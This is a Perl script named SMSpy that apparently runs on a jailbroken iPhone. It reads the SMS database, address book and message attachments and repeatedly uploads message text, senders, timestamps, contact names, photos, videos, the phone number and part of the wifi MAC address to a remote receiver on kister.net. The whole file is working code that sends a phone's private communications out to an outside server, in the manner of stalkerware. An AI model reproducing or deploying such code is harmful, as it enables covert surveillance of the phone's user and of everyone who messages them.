#!/usr/local/bin/perl # Copyright (c) 2013 Jeremy Kister # http://jeremy.kister.net./ # Released under Perl's "Artistic" License. # 2013.07.29 use strict; use DBI; use Getopt::Std; use Sys::HostAddr; use LWP::UserAgent; use HTTP::Request::Common; $HTTP::Request::Common::DYNAMIC_FILE_UPLOAD = 1; our %opt; getopts('Df', \%opt); # Debug # foreground (for verbose msgs) my $url = 'http://kister.net/cgi-bin/smspy-rcvr.pl'; my %db = ( sdb => '/var/mobile/Library/SMS/sms.db', adb => '/var/mobile/Library/AddressBook/AddressBook.sqlitedb', ); my %dsn = ( sdb => "DBI:SQLite:dbname=$db{sdb}", adb => "DBI:SQLite:dbname=$db{adb}", ); our %dbh = ( s => DBI->connect( $dsn{sdb} ), a => DBI->connect( $dsn{adb} ), ); use JK::Misc; use JK::iPhone; debug( 'SMSpy starting.' ); $SIG{USR1} = sub { verbose( "SIGUSR1 received.") }; my $uid; if( open(my $ufile, "/Applications/SMSpy.app/uid.txt") ){ chomp($uid=<$ufile>); close $ufile; }else{ my $random = get_random(32); open(my $ufile, ">/Applications/SMSpy.app/uid.txt") || slowdie( "cannot write uid.txt: $!" ); print $ufile "$random\n"; close $ufile; $uid = $random; } my $sysaddr = Sys::HostAddr->new(); my $ua = LWP::UserAgent->new(keep_alive => 1); $ua->timeout(10); my $aref; until( $aref->[0] ){ debug( "checking for wifi." ); $aref = $sysaddr->addresses( 'en0' ); unless( $aref->[0] ){ debug( "no wifi." ); mysleep(300,180); } } # find out what the server knows about us my $r = $ua->get( "${url}?uid=${uid}&query=1" ); slowdie( $r->status_line ) unless $r->is_success; my $rowid = 0; for my $line (split /\n/, $r->decoded_content){ if( $line =~ /^want: sender,wifi/ ){ debug( "sending our sender info+wifi to server." ); my $sender = JK::iPhone::get_mynum() || JK::iPhone::get_myaddr(); my $wifi = JK::iPhone::get_mac('en0'); my ($wifi4) = $wifi =~ /([A-F0-9]{2}:[A-F0-9]{2})$/i; $wifi4 =~ s/://; my $r = $ua->get( "${url}?uid=${uid}&sender=${sender}&wifi4=${wifi4}" ); slowdie( $r->status_line ) unless $r->is_success; }elsif( $line =~ /^mid: (\d+)/ ){ $rowid = $1; last; }elsif( $line =~ /^delay: (\d+)/ ){ delaydie($1); } } debug( "server has rowid: $rowid" ); debug( "* getting contacts." ); my $contacts = JK::iPhone::get_contacts(); my $sqlf = q{ SELECT filename FROM attachment a JOIN message_attachment_join j ON j.attachment_id = a.rowid WHERE j.message_id = ? }; my $sthf = $dbh{s}->prepare($sqlf); my $sql = <<__EOS__ SELECT m.rowid AS rowid, (date + 978307200) AS date, h.id AS sender, CASE is_from_me WHEN 0 THEN "received" WHEN 1 THEN "sent" ELSE "unknown" END AS type, CASE WHEN date_read > 0 THEN (date_read + 978307200) WHEN date_delivered > 0 THEN (date_delivered + 978307200) ELSE NULL END AS datea, m.text AS text FROM chat JOIN chat_message_join cmj ON cmj.chat_id = chat.rowid JOIN chat_handle_join chj ON chj.chat_id = chat.rowid JOIN handle h ON h.rowid = chj.handle_id JOIN message m ON cmj.message_id = m.rowid WHERE m.rowid > ? ORDER BY m.rowid ASC; __EOS__ ; my $sth = $dbh{s}->prepare($sql); my $sleep = 0; my $oldrowid = $rowid; while( 1 ){ debug( "* starting event loop" ); # make sure we're on wifi my $aref = $sysaddr->addresses( 'en0' ); unless( $aref->[0] ){ debug( "no wifi." ); mysleep(300,180); next; } if( (time() - $contacts->{TIME}) > 604800 ){ debug( "refreshing contact list." ); $contacts = JK::iPhone::get_contacts(); } my $got = 0; $sth->execute($rowid); while( my $row = $sth->fetchrow_hashref ){ $got = 1; $rowid = $row->{rowid}; $row->{sender} =~ s/^\+1//; # +12155551212 -> 2155551212 my %form = ( uid => $uid, rowid => $row->{rowid}, date => $row->{date}, sender => $row->{sender}, type => $row->{type}, datea => $row->{datea}, text => $row->{text}, ); debug( "sending id: $rowid" ); my $r = $ua->post( $url, \%form ); unless( $r->is_success ){ verbose( "fail: " . $r->status_line ); $rowid = $oldrowid; last; } for my $line (split /\n/, $r->decoded_content){ if( $line =~ /^delay: (\d+)/ ){ delaydie($1); } next unless($line =~ /^contact: (\d+)/ ); my $num = $1; debug( "got request for contact: $num" ); unless( $contacts->{$num}{name} ){ # maybe we got a contact since last refresh. $contacts->{$num} = JK::iPhone::get_contacts($num); } if( $contacts->{$num}{name} ){ my %form = ( uid => $uid, sender => $num, name => $contacts->{$num}{name}, imguri => $contacts->{$num}{image}, ); my $r = $ua->post( $url, \%form ); if( $r->is_success ){ debug( "sent contact info for $num" ); }else{ verbose( "fail: " . $r->status_line ); } }else{ debug( "contact unknown." ); } last; } # check for files $sthf->execute($rowid); while( my $rowf = $sthf->fetchrow_hashref ){ my $filename = $rowf->{filename}; $filename =~ s#^~#/var/mobile#; $form{file} = $filename; if( $filename =~ /(.+)\.(mov|3gp|mp4)$/i ){ my $preview = $1 . '-preview-'; if( $row->{type} eq 'sent' ){ $preview .= 'right.jpg'; }else{ $preview .= 'left.jpg'; } if( -f $preview ){ debug( "sending preview $preview to server." ); my $r = $ua->post( $url, Content_Type => 'multipart/form-data', Content => [ uid => $uid, rowid => $rowid, blob => [ $preview ], ], ); unless( $r->is_success ){ verbose( "fail: " . $r->status_line . "reset rowid: $rowid -> $oldrowid" ); $rowid = $oldrowid; last; } } } unless( -f $filename ){ debug( "attachment not found; skipping $filename." ); next; } debug( "sending attachment $filename to server." ); my $r = $ua->post( $url, Content_Type => 'multipart/form-data', Content => [ uid => $uid, rowid => $rowid, blob => [ $filename ], ], ); unless( $r->is_success ){ verbose( "fail: " . $r->status_line . "reset rowid: $rowid -> $oldrowid" ); $rowid = $oldrowid; last; } } $oldrowid = $rowid; } if( $got ){ $sleep = 10; }elsif( $sleep < 60 ){ $sleep += 10; } mysleep($sleep,$sleep); }